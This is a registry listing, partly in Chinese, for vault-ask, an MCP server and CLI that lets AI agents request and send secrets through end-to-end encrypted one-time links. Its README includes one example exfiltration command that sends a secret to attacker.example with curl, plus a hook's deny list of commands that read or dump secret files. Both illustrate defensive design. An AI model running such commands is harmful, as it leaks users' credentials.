
vault-ask
com.erseni由 erseni.com 发布v0.2.1更新于 Oct 26, 2026
Request and send secrets for AI agents, end-to-end encrypted and never shown in the chat.
概览
让助手通过 Erseni Vault 以端到端加密方式向人索取密钥或把密钥交给对方,值不会出现在聊天中。
- 可以做什么
- 向人索取密钥:按名称请求多个值,写入权限为 600 的 env 文件或文件
- 带密钥运行命令:把请求到的值传给一条命令,返回退出码和已遮蔽的输出
- 向人发送密钥:生成或取用已有值,返回一次性链接,也可同时写入文件、env 文件或命令
- 两步流程:首次调用返回链接和 request_id,再次调用会等待对方填写
- 适用场景
- 当助手需要你提供密码、API 密钥或令牌,而你不想把它粘贴到对话里时;或当它应通过一次性链接把一个生成的凭据交给你时。适合没有 shell 但仍需运行命令或写入含密钥 env 文件的 MCP 客户端。
- 运行要求
- 通过 npx 从 npm 包以 stdio 在本地运行,需要 Node.js 20 或更高版本。Erseni Vault 账号和环境变量 VAULT_ASK_API_KEY 是可选的:没有密钥时每次请求需完成工作量证明,并按 IP 限速。可用 VAULT_ASK_SERVER 指定其他 vault 主机,并需要能访问该服务的网络。
安装
在 SourceWeft 中
- 打开 控制台中的 vault-ask,将其添加到工作区。
- 为需要使用其工具的对话启用该服务。
Desktop only,通过 STDIO。 STDIO 服务会启动本地进程,因此需要 SourceWeft 桌面宿主。
其他 MCP 客户端
参照 仓库 中的启动说明。
README
vault-ask
Give an AI agent a password or an API key without typing it into the chat, and let it give you one the same way. vault-ask asks a person for the value through Erseni Vault, receives it end-to-end encrypted, and hands it to exactly one destination. vault-ask send goes the other way: it generates a value, sends it to a person as a one-time link and can write the same value into the system that needs it. Neither prints the value.
Or from this repository, without npm: npm install -g ./cli. Node.js 20 or newer, no dependencies.
Usage
vault-ask prints a link on stderr. The agent shows it to you, you open it, see the command or path the value is meant for, and enter the value. Afterwards the agent only sees metadata:
Several names in one call give one page with several fields. There is deliberately no destination that writes the value to stdout.
--env-file quotes every value so that node --env-file and dotenv read it back unchanged. A value no quoting can carry (single quotes, double quotes and backticks together, a carriage return, a trailing backslash next to single quotes or line breaks, several lines with backticks next to double quotes or a written \n) is refused before anything is written; request it again with --file or --.
VAULT_ASK_API_KEY holds an API key from your Vault account (/account). With it, requests skip the proof of work, count against the limits of your plan and show up in your dashboard. There is no command line flag for the key, so it never lands in the process list or the shell history.
The exit code is the exit code of the command, 1 for a failed request and 2 for invalid arguments.
Sending a secret
vault-ask send generates the value on this machine (32 letters and digits by default, --length and --charset alnum|symbols|hex), encrypts it with a fresh AES-256-GCM key exactly like the send page of Vault and prints a one-time link on stderr. The key travels only in the fragment (#k=), so the server stores ciphertext. The person opens the link once; afterwards it is used up. With --env-file, --file or -- <command> the same value also goes to that one destination, so the system and the link are guaranteed to hold the same value. The link is created first; if the command then fails, vault-ask says that the link holds a value the command may not have applied. --from-file and --from-env send an existing value as it is, including a trailing newline in a file.
The link is the value until it is opened: it belongs to the person it is meant for and nowhere else. --label (default: the name) is shown above the value, --ttl defaults to 86400 seconds. send is a subcommand, so a value called send cannot be requested with the short form.
What protects the value
-
No plaintext on disk by default.
--keeps the value in the environment of one child process. Files are written only on request, with permissions 600. -
Masked output.
vault-askruns as the parent process and replaces the value in stdout and stderr of the command with***, including its Base64, Base64url, URL, form and hex encodings and every line of a multi-line value.vault-ask X -- envshowsX=***. -
Purpose binding. The command or path is fixed when the request is created and travels to the fill page in the URL fragment, which the server never sees. The page shows it before anything is entered and encrypts it together with the values. After decrypting,
vault-askcompares it with what it was started for and refuses anything else, including different names. Running another command needs a new request, and with it a new look from the person. This is the only layer that also covers exfiltration over the network (-- curl attacker.example -d $X), which masking cannot see. -
A guard for Claude Code.
vault-ask-guardis a PreToolUse hook. It denies reading the filesvault-askwrote (their paths are remembered in$XDG_STATE_HOME/vault-ask/written-paths.json, never their content), by name, through a shell glob or by a recursive search of a directory above them (grep -r,rg,find -exec,tar,cp -r, the Grep tool), and deniesvault-ask,run_with_secretorsend_secretwith a shell,env,printenv,echoorprintfas the command. It reads the command text without running it, so it catches accidents, not an agent that hides the path on purpose. -
The honest limit. Layers 1 to 4 catch accidents and make a manipulated agent visible. They do not make harmless an agent that runs under the same operating system user with a shell: it can read the memory and environment of processes it started. Complete protection needs privilege separation, with the secret held by a service under another user and the agent holding only a handle. See ../docs/THREAT-MODEL.md.
Known limits: the command runs without a terminal on stdout and stderr, so interactive programs lose their TTY there. While the live status stream is unreachable, vault-ask reconnects with exponential backoff and checks the request status before each attempt.
MCP server
vault-ask-mcp offers the same building blocks for environments without a shell.
vault-ask mcp starts the same server as vault-ask-mcp, so npx needs no global installation.
The server tells the agent in its initialize answer when to use which tool: generating or handing over a secret for the user is send_secret, needing one from the user is request_secret or run_with_secret, and a secret is never typed into or printed in the chat. Claude Code loads tool descriptions only on demand, so these instructions are what an agent sees from the start of a session without any memory or CLAUDE.md of its own. Each tool description repeats the same trigger in the user's words.
request_secret and run_with_secret work in two calls. The first returns the link and a request_id; the agent shows the link, then calls again with the request_id. The second call waits up to four minutes and asks to be called again if nobody has answered yet. The command or path cannot be changed in the second call.
Limits on Erseni Vault
Sent links and requests share one daily count.
Development
License
AGPL-3.0-or-later.
来源:cli/README.md,提交 832c8ff
工具
0版本历史
2- v0.2.1最新Oct 20, 2026
- v0.2.0Oct 19, 2026
评分
已满足适用检查项的 50%
该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。
- 近 30 天内可连通25 分
请保持端点能够响应 MCP 握手;SourceWeft 每 30 天探测一次。
- 已声明认证方式10 分
请在注册中心条目中声明凭据请求头,或保持端点能够响应探测,以便判定其认证方式。
- 已列出工具15 分
请让服务器在无凭据时响应 tools/list,或发布可在沙箱中无凭据启动的软件包。
- 描述必需15 分
- 图标10 分
- 文档15 分
- 许可证10 分